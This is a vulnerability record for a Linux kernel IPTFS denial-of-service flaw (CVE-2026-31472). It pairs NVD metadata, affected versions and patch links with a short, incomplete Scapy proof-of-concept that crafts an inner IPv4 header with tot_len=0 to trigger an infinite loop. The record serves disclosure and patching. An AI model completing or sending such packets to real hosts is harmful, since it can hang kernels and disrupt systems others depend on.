CVE-2026-31472

# This is a conceptual PoC to demonstrate the packet structure required. # It requires Scapy and a specific environment to send raw ESP packets. from scapy.all import * # Construct a raw IP packet with tot_len=0 to simulate the inner payload # Note: Real implementation requires proper ESP encryption wrapping and key configuration inner_ip = IP() inner_ip.version = 4 inner_ip.ihl = 5 inner_ip.tot_len = 0 # The malicious field causing the infinite loop inner_ip.src = "192.168.1.100" inner_ip.dst = "192.168.1.200" # In a real exploit, this would be wrapped in ESP/IPTFS format # send(IP(dst="<TARGET_IP>")/ESP()/Raw(load=bytes(inner_ip))) print("[+] Crafted inner IPv4 header with tot_len=0") print(f"[+] Inner packet bytes: {bytes(inner_ip)}")

{"cve": {"id": "CVE-2026-31472", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:43.740", "lastModified": "2026-04-27T23:28:23.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: iptfs: validate inner IPv4 header length in IPTFS payload\n\nAdd validation of the inner IPv4 packet tot_len and ihl fields parsed\nfrom decrypted IPTFS payloads in __input_process_payload(). A crafted\nESP packet containing an inner IPv4 header with tot_len=0 causes an\ninfinite loop: iplen=0 leads to capturelen=min(0, remaining)=0, so the\ndata offset never advances and the while(data < tail) loop never\nterminates, spinning forever in softirq context.\n\nReject inner IPv4 packets where tot_len < ihl*4 or ihl*4 < sizeof(struct\niphdr), which catches both the tot_len=0 case and malformed ihl values.\nThe normal IP stack performs this validation in ip_rcv_core(), but IPTFS\nextracts and processes inner packets before they reach that layer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.14.1", "versionEndExcluding": "6.18.21", "matchCriteriaId": "8BA62FCD-8829-4508-AFE2-0C12960267CD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.14:-:*:*:*:*:*:*", "matchCriteriaId": "7DE421BA-0600-4401-A175-73CAB6A6FB4E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0d10393d5eac33cbd92f7a41fddca12c41d3cb7e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3db7d4f777a00164582061ccaa99569cd85011a3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/de6d8e8ce5187f7402c9859b443355e7120c5f09", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}